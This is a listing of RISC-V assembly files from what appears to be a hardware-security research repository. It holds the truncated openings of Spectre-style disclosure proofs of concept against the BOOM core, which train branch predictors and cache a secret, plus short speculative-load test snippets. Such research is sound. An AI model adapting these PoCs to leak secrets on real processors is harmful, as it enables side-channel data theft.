comsec-group/milesan-meta | 2,608 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc-with-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
... |
comsec-group/milesan-meta | 2,635 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc-with-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 4
#define LOOP_CONFIDENCE_THRESHOLD 7
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0,... |
comsec-group/milesan-meta | 93 | pocs/phantomtrails/src/misc/single-instr/single_load.S | .text
li t0, 0x80001000
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 101 | pocs/phantomtrails/src/misc/single-instr/fence.S | .text
auipc a0, 0
ld t0, 0(a0)
nop
nop
fence
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 140 | pocs/phantomtrails/src/misc/single-instr/double_load.S | .text
li s0, 0x80001000
ld t0, 0(s0)
addi s0, s0, 0x100
add t0, t0, s0
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 126 | pocs/phantomtrails/src/misc/single-instr/single_load_with_nops.S | .text
li t0, 0x80001000
ld t0, 0(t0)
#flush the pipeline
.rep 16
nop
.endr
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 87 | pocs/phantomtrails/src/misc/single-instr/auipc.S | .text
auipc a0, 0
ld t0, 0(a0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 120 | pocs/phantomtrails/src/misc/single-instr/add.S | .text
auipc a0, 0
ld t0, 0(a0)
addi a0, a0, 5
add a1, a2, a3
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 61 | pocs/phantomtrails/src/misc/single-instr/single-store.S | li t0, 0x00000080005000
li t1, 0xdeadbeef
sd t1, 0(t0)
unimp
|
comsec-group/milesan-meta | 430 | pocs/phantomtrails/src/misc/feedback-tests/01-single-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
... |
comsec-group/milesan-meta | 636 | pocs/phantomtrails/src/misc/feedback-tests/11-arch-load-plus-spec-load-new.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001100
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
... |
comsec-group/milesan-meta | 581 | pocs/phantomtrails/src/misc/feedback-tests/07-single-branch-with-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
li s0, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
... |
comsec-group/milesan-meta | 632 | pocs/phantomtrails/src/misc/feedback-tests/09-spec-load.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 0
blt t1, s7, lol
ld t2, 0(s1)
m... |
comsec-group/milesan-meta | 431 | pocs/phantomtrails/src/misc/feedback-tests/02-double-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
li t0, 0x80002000
ld t0, 0(t0)
mv tp, tp
addi s0, sp, 384
addi ra, ... |
comsec-group/milesan-meta | 522 | pocs/phantomtrails/src/misc/feedback-tests/05-single-branch-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
beq t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0... |
comsec-group/milesan-meta | 522 | pocs/phantomtrails/src/misc/feedback-tests/06-single-branch-not-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
bgt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0... |
comsec-group/milesan-meta | 755 | pocs/phantomtrails/src/misc/feedback-tests/08-single-branch-with-big-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s1, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
... |
comsec-group/milesan-meta | 636 | pocs/phantomtrails/src/misc/feedback-tests/10-arch-load-plus-spec-load-arch.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
... |
comsec-group/milesan-meta | 429 | pocs/phantomtrails/src/misc/feedback-tests/00-no-feedback.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
ad... |
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